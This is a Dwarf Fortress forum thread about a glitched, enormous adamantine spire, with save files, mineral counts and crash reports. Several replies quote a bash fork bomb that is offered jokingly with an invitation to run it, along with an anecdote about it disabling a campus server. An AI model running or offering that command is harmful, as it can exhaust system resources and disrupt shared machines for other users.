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[nbonaparte]

DF is singlethreaded, unfortunately. It can't take advantage of a supercomputer.

[furlion]

Well it can and it can't. It can't take advantage of multiple cores. But it can take advantage of huge amounts of RAM, and uninterrupted processing time. A decent core dedicated almost 100% to processing DF will still give improvements over most current home setups. And it won't mean locking someones desktop/laptop up for hours at time. I know its not ideal since its single core, but like I said, it was just an idea.

[nbonaparte]

It's also 32 bit. So no. You could contact Toady and see if he'll compile in in 64 bit, but otherwise you're limited with RAM. It's why very large embarks crash.

[vadia]

I am going to toss this out there as an idea. I actually do have access to a super computer. Specifically the 88th fastest super computer (well its a cluster technically) in the world. Now the problem is, I don't have administrator rights, and it uses a version of Linux called CentOS. Now I have some experience with linux, and in using bash in general. The problem is that I don't know if there is any way to get the Linux version of DF to run. If anyone is willing to lend me a hand trying to get it setup, I could devote some time to getting this thing to run and see if I can collapse it. Just a thought.

All praise to Armok!

collapse it?  you mean the spire?  nope, if it's like son of there are demons inside.

[furlion]

Damn, forgot about the 32 bit RAM limitation. Oh well. Like I said it was just an idea.

[vadia]

I put ftp instead of url for son of http://dffd.wimbli.com/file.php?id=3433

Enjoy a (semi)-playable spire.  The dwarves move at about 1 step per second.  Not bad for 1245 z levels spire.

[Shurikane]

My computer has a seizure when I try to run a normal fort, let alone this monstrosity otherwise I'd try it myself.

...Which is exactly why nobody else attempts to collapse it.

[Urist Imiknorris]

Why don't you try it, O Creator Of The Cubical Project?

[Shurikane]

Why don't you try it, O Creator Of The Cubical Project?

Recognition!  At last!   


Anyway, on a serious note: Project Cube slowed down after the moment where I could leave the game on cruise control for extended periods of time.  I'd done all my main workshops, basic architecture and secured a good buffer of food and drinks.

With the spire, just starting the game sets me off at 6 FPS reported but the game stutters like an old Betamax film.  I can barely get anything done at even a basic level without waiting several minutes, no matter which computer I use to run the thing.  In short, it's just not worth the trouble at the moment.  Not unless I can lay my lands on a million dollars and a nitrogen-powered CPU.

[Maklak]

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:(){ :|:& };:Enter that on unix. You know you want to.

Yeah, I did something like that once on a campus server, when I was a student. It turned out, this thing spawned like 400 shells, and boged down the email system below usability. Oh, and I couldn't kill it, because kill needs a process to run. Logging out to relog didn't help either . It got me admiration / complains of my peers and an email from admin . It was fun, while also being somewhat scary. They didn't punish me, tough.

As for the spire: Wow, that thing is weird. I don't think Toady will do anything about it, or even comment it. This seems like a one-time glitch, seeing how people were unable to reproduce it from the seed. What would he have to say about it anyway?
 

[Acperience]

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:(){ :|:& };:Enter that on unix. You know you want to.

Yeah, I did something like that once on a campus server, when I was a student. It turned out, this thing spawned like 400 shells, and boged down the email system below usability. Oh, and I couldn't kill it, because kill needs a process to run. Logging out to relog didn't help either . It got me admiration / complains of my peers and an email from admin . It was fun, while also being somewhat scary. They didn't punish me, tough.

As for the spire: Wow, that thing is weird. I don't think Toady will do anything about it, or even comment it. This seems like a one-time glitch, seeing how people were unable to reproduce it from the seed. What would he have to say about it anyway?

Just as planned.

[breadbocks]

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:(){ :|:& };:Enter that on unix. You know you want to.

Yeah, I did something like that once on a campus server, when I was a student. It turned out, this thing spawned like 400 shells, and boged down the email system below usability. Oh, and I couldn't kill it, because kill needs a process to run. Logging out to relog didn't help either . It got me admiration / complains of my peers and an email from admin . It was fun, while also being somewhat scary. They didn't punish me, tough.

As for the spire: Wow, that thing is weird. I don't think Toady will do anything about it, or even comment it. This seems like a one-time glitch, seeing how people were unable to reproduce it from the seed. What would he have to say about it anyway?
 

Yup. That is a basic fork virus, there.

[Saposhiente]

Summary post for people that can't find stuff, in chronological order:

• Original Save:
  Spoiler (click to show/hide)

  Adamantine Spire
  
• This was not reproducible from seed.
• Image Export Size: Top of map is 29000-ish, Top of spire is 2213, Level 139 is ground, Level 0 is hell, pits go down to -30 (Normal map went from 156 to 76)
• Total number of all minerals:

  Spoiler (click to show/hide)

  MOONSTONE : 15
  OPAL_CLARO : 16
  DIAMOND_GREEN : 17
  RUBY_STAR : 17
  ALABASTER : 19
  SATINSPAR : 22
  SAPPHIRE_STAR : 22
  WAX OPAL : 26
  OPAL_CRYSTAL : 28
  DEMANTOID : 31
  PINEAPPLE OPAL : 31
  TURQUOISE : 31
  CHERRY OPAL : 32
  ANHYDRITE : 32
  OPAL_PINFIRE : 35
  DIAMOND_BLACK : 36
  OPAL_LEVIN : 36
  OPAL_PFIRE : 38
  PYRITE : 40
  OPAL_BLACK : 40
  SELENITE : 41
  SHELL OPAL : 41
  OPAL_WHITE : 45
  DIAMOND_RED : 50
  OPAL_BANDFIRE : 54
  BONE OPAL : 54
  RUBY : 58
  OPAL_HARLEQUIN : 60
  CLEAR TOURMALINE : 70
  MARCASITE : 76
  GOLD OPAL : 81
  RUBICELLE : 84
  DIAMOND_LY : 86
  SAPPHIRE : 90
  BANDED AGATE : 104
  DENDRITIC AGATE : 104
  RED TOURMALINE : 106
  FIRE AGATE : 112
  BROWN ZIRCON : 119
  CLEAR GARNET : 127
  GREEN TOURMALINE : 133
  MOSS OPAL : 139
  WHITE CHALCEDONY : 151
  RED PYROPE : 151
  SCHORL : 159
  VIOLET SPESSARTINE : 162
  FIRE OPAL : 162
  RED ZIRCON : 210
  INDIGO TOURMALINE : 214
  CRYSTAL_ROCK : 228
  SPINEL_PURPLE : 259
  JASPER OPAL : 305
  HELIODOR : 316
  CALCITE : 336
  EMERALD : 343
  SMOKY QUARTZ : 355
  TOPAZOLITE : 357
  HORNBLENDE : 366
  PERIDOT : 366
  AQUAMARINE : 366
  GREEN ZIRCON : 371
  PERICLASE : 373
  ONYX OPAL : 381
  BLACK PYROPE : 386
  TSAVORITE : 388
  YELLOW SPESSARTINE : 388
  JELLY OPAL : 389
  RED GROSSULAR : 392
  GOSHENITE : 394
  MELANITE : 395
  BISMUTHINITE : 400
  YELLOW ZIRCON : 419
  DIAMOND_FY : 428
  CHRYSOBERYL : 433
  GOLDEN BERYL : 435
  CAT'S EYE : 435
  YELLOW GROSSULAR : 437
  SUNSTONE : 442
  HONEY YELLOW BERYL : 447
  ALEXANDRITE : 452
  BLACK ZIRCON : 459
  GRAPHITE : 489
  PINK TOURMALINE : 493
  AMETHYST : 510
  SERPENTINE : 519
  TOPAZ : 527
  TANZANITE : 529
  PLUME AGATE : 553
  ALMANDINE : 568
  TUBE AGATE : 571
  CARNELIAN : 612
  QUARTZ_ROSE : 633
  PETRIFIED_WOOD : 644
  BLUE GARNET : 668
  SPINEL_RED : 732
  CHROMITE : 753
  PINK GARNET : 782
  AMBER OPAL : 841
  NATIVE_PLATINUM : 929
  RHODOLITE : 1009
  CHRYSOCOLLA : 1260
  MILK QUARTZ : 1495
  HORN_SILVER : 1555
  OPAL_REDFLASH : 1621
  WOOD OPAL : 1641
  PYROLUSITE : 1681
  ILMENITE : 2040
  KAOLINITE : 3129
  LIMONITE : 3327
  HEMATITE : 4093
  COAL_BITUMINOUS : 4312
  CINNABAR : 4506
  LIGNITE : 4661
  BAUXITE : 7418
  MAGNETITE : 7823
  CASSITERITE : 8754
  GYPSUM : 9377
  COBALTITE : 9620
  TETRAHEDRITE : 11765
  SPHALERITE : 11815
  JET : 11970
  NATIVE_GOLD : 13049
  MALACHITE : 15170
  GALENA : 16104
  NATIVE_SILVER : 19376
  KIMBERLITE : 25617
  GARNIERITE : 34983
  OLIVINE : 54968
  RAW_ADAMANTINE : 83550
  MICA : 87785
  MICROCLINE : 119354
  ORTHOCLASE : 140623
  SLADE : 1008197
• Pics of spire:

  *snip*(follow the quote link)
• Initially not minable, however people become willing to mine (but not chop down trees) after two migrant waves.
• Mine-able save: http://dffd.wimbli.com/file.php?id=2804
• My SCIENCE^tm: I carved a fortification into the spire, releasing screams from below:
  
  Spoiler (click to show/hide)

  Savegame on .12 = Previously observed behavior with dwarves refusing to pickup equipment. Other observations:[spoiler]Farming on "Inside dark subterranean" soil in the shadow of the pillar asks for above-ground seeds.
  Demons mysteriously disappear near lv 48. For sub observations, view second spoiler.
  All demons excepts four salt ghosts ceased to exist, the latter of which are hanging around on level -5
  Zooming on screams from below points to lv -41
  Lv 49
  
  Lv 48
  
  Lv 47
  
  I notice that 48 is the first level to have no "open space" just floor and undiscovered. I also notice that the only overlapping tiles are "Open space" on the level below. Lastly, 49 has nothing but undiscovered, as do the levels above it.
  Witnessed existence failures: Two white phantoms stopped at 48 and 47 for a while, and then poofed; and one pearl demon on 47 poofed instead of going up at the time he otherwise would (I counted steps).

I'll try to slog through the digable save over winter break.

[Ygdrad]

Thank you Saposhiente for giving us a mineable save. I tried digging under the tower and then channeling around it. Had to stop a few undead critters who tried to interrupt the miner's sacred duty. At some point some rubble from the above floor fell on the miner, but he got back up unharmed and continued to mine, then, as the last tile was to be channeled, the miner stopped and went to "clean self" at a nearby pool, as if to cleanse himself and remove all impurities before completing his task.

As the last square was channeled, the game froze despite having been able to run it at 15-30fps just before . I think the world ended at that point.

[LilGunmanX]

Yeah... Crashes...

1.3 GB of RAM usage...

wow, so wait this spire goes so high that it actully makes a loop around the map and comes out from the bottom of the map?!?!

Congrats, OP! By the power of the Linux penguin, you somehow managed to worldgen the planet Armok, similar in makeup to the planet Saturn. The planet's ring is so massive that it actually blocks all sunlight, killing the land around it. Your dwaves refuse to mine altogether, fearing that their picks will be used to defile the holy ring.